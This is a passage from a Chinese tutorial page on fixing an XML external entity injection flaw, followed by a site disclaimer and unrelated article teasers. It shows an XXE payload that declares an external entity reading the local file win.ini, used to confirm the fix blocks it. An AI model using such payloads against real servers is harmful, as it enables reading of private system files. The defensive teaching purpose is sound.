$html.="<p>XML 声明、DTD 文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
}
}
再次构造请求获取本地文件时,请求被禁止,无法获取文件内容。构造请求如下,界面
效果如图 5.51 所示。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c:/Windows/win.ini"> ]><x>&f;</x>
图 5.51 漏洞防护
至此,XML 外部实体注入漏洞修复成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147397.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Renesas R7FA8D1BH (Cortex®-M85)的 General PWM的应用实践

目录 概述 1 General PWM介绍 1.1 特性 1.2 定时器选择注意点 2 时钟配置 3 应用案例 3.1 基本定时器应用 3.2 定时器回调函数案例 3.3 输入捕捉功能案例 3.4 更新周期案例 3.5 更新占空比案例 3.6 单次触发脉冲案例 4 测试 4.1 代码介绍 4.2 验证 概述 本文主…

算法练习题25——leetcode3279统计重新排列后包含另一个字符串的子字符串的数目(滑动窗口 双指针 哈希)

题目描述 解题思路 本题用到了滑动窗口 双指针 哈希 刚开始我是没读懂题的因为我笨 我想把我的思路说一下 左端不轻易缩小 只有找到跟word2匹配了 比如说abbcdd 遍历到c的时候才能匹配这个word2 对吧 那么之后加上以一个d或者俩d 都符合了 然后我们算完了 才能缩小左端 扩大…

python爬虫案例——异步加载网站数据抓取,post请求(6)

文章目录 前言1、任务目标2、抓取流程2.1 分析网页2.2 编写代码2.3 思路分析前言 本篇案例主要讲解异步加载网站如何分析网页接口,以及如何观察post请求URL的参数,网站数据并不难抓取,主要是将要抓取的数据接口分析清楚,才能根据需求编写想要的代码。 1、任务目标 目标网…

STM32篇:按键点亮LED灯

输入&#xff08;按键&#xff09;&#xff1a;KEY1---PA0 KEY2---PA1 输出&#xff08;LED灯&#xff09;&#xff1a;LED1---PB8 LED2---PB9

【M-LOAM学习】

M-LOAM(INITIALIZATION) Article Analysis Scan-Based Motion Estimation 通过在consecutive frame (each LiDAR)&#xff08;因为omp parallel&#xff09;中寻找correspondences然后通过最小化所有考虑feature之间residual error的transformation between frame to frame 针…

(done) 声音信号处理基础知识(7) (Understanding Time Domain Audio Features)

参考&#xff1a;https://www.youtube.com/watch?vSRrQ_v-OOSg&t1s 时域特征包括&#xff1a; 1.幅度包络 2.均方根能量 3.过零率 振幅包络的定义&#xff1a;一个 frame 里&#xff0c;所有采样点中最大的振幅值 一个形象的关于振幅包络的可视化解释如下&#xff1a;…

MateBook 16s 2023在Deepin下开启性能模式,调节风扇转速到最大,全网首发!

方法 在Deepin下按住Fnp快捷键&#xff0c;开启性能模式。 验证 首先去debian下载acpi-call-dkms https://packages.debian.org/sid/all/acpi-call-dkms/download 然后使用root用户执行&#xff1a; apt install --simulate ./acpi-call-dkms_1.2.2-2.1_all.deb apt inst…

C++入门——(类的默认成员函数)析构函数

文章目录 一、析构函数二、析构函数的特点总结 一、析构函数 析构函数与构造函数功能相反&#xff0c;析构函数不是完成对对象本⾝的销毁&#xff0c;⽐如局部对象是存在栈帧的&#xff0c;函数结束栈帧销毁&#xff0c;他就释放了&#xff0c;不需要我们管&#xff0c;C规定对…

【ChatGPT】提示词助力广告文案、PPT制作与书籍推荐的高效新模式

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;高效广告推销文案提示词使用方法 &#x1f4af;AI自动生成PPT全流程提示词使用方法 &#x1f4af;精选书籍推荐爆款文案提示词使用方法 &#x1f4af;小结 &#x1f4af;…

第一个NDK项目

新建项目 选择Native C的项目&#xff0c;我这里给项目的命名是NDKTest。 目录分析 新增了一个cpp目录&#xff0c;里面有一个CMakeLists和.cpp文件。 CMakeLists 文件是用来配置C编译过程的。 # Sets the minimum CMake version required for this project. cmake_minimum_…

【解密 Kotlin 扩展函数】命名参数和默认值(十三)

导读大纲 1.0.1 命名参数1.0.2 默认参数值 上一节讲述如何自定义 joinToString 函数来代替集合的默认字符串表示 文末遗留下几个待优化问题–传送门 1.0.1 命名参数 我们要解决的第一个问题涉及函数调用的可读性 例如,请看下面的joinToString调用: joinToString(collection,&…

循环中用sleep

echo <pre>;for ($i0;$i<10000000;$i){var_dump($i);} 没有用sleep,快速消耗cpu和内存 使用sleep后效果 echo <pre>;for ($i0;$i<10000000;$i){var_dump($i);usleep(1000);//php 暂停0.001秒} 总结&#xff1a;sleep能释放资源(cpu和内存)&#xff0c;但是运…

2025校招内推-招联金融

【投递方式】 直接扫下方二维码&#xff0c;或点击内推官网https://wecruit.hotjob.cn/SU61025e262f9d247b98e0a2c2/mc/position/campus&#xff0c;使用内推码 igcefb 投递&#xff09; 【招聘岗位】 后台开发 前端开发 数据开发 数据运营 算法开发 技术运维 软件测试 产品策…

LeetCode 面试经典150题 191.位1的个数

Java中的算术右移和逻辑右移的区别 题目&#xff1a;编写一个函数&#xff0c;获取一个正整数的二进制形式并返回其二进制表达式中设置位的个数&#xff08;也被称为汉明重量&#xff09;。 设置位的个数即二进制中1的个数。 思路&#xff1a;方法一&#xff1a;因为正数的原…

【永磁同步电机(PMSM)】 4. 同步旋转坐标系仿真模型

【永磁同步电机&#xff08;PMSM&#xff09;】 4. 同步旋转坐标系仿真模型 1. Clarke 变换的模型与仿真1.1 Clarke 变换1.2 Clarke 变换的仿真模型 2. Park 变换的模型与仿真2.1 Park 变换2.2 Park 变换的仿真模型 3. Simscape标准库变换模块3.1 abc to Alpha-Beta-Zero 模块3…

java反射基础知识

1.java的反射机制 Java 反射机制是在运行状态中&#xff0c;对于任意一个类&#xff0c;都能够知道这个类的所有属性和方法&#xff1b;对于任意一个对象&#xff0c;都能够调用它的任意方法和属性&#xff1b;这种动态获取信息以及动态调用对象方法的功能称为 Java 语言的反射…

学生管理系统1.0版本

学生管理系统1.0版本有5个功能&#xff0c;即添加学生、删除学生、修改学生、查看全部学生、退出系统。 里面对添加重复学号、删除和修改不存在的学号等问题都有相应的解决办法。 代码区&#xff1a; Student.java package student;//快捷键Altinsert public class Student …

Machine Learning Specialization 学习笔记(4)

文章目录 前言一、模型评估训练集常规训练集线性回归逻辑回归 交叉验证集 偏差与方差正则化 学习曲线数据集的添加&#xff08;数据增强&#xff09;迁移学习精确率与召回率 二、决策树基本概念决策树的工作原理决策树的优点决策树的缺点决策树算法的变体决策树在Python中的实现…

Shell 脚本学习

Shell学习 Shell 脚本 Shell 是一个用 C 语言编写的程序&#xff0c;它是用户使用 Linux 的桥梁。Shell 既是一种命令语言&#xff0c;又是一种程序设计语言。 Shell 是指一种应用程序&#xff0c;这个应用程序提供了一个界面&#xff0c;用户通过这个界面访问操作系统内核的服…

xxl-job使用总结

xxl-job从入门到入土 xxl-job介绍 xxl-job是一个分布式任务调度平台&#xff0c;其核心设计目标是开发迅速、学习简单、轻量级、易扩展。xxl-job支持调度中心集群和执行器集群。 xxl-job开源项目 xxl-job使用 xxl-job整合SpringBoot 引入xxl-job的依赖 <dependency>…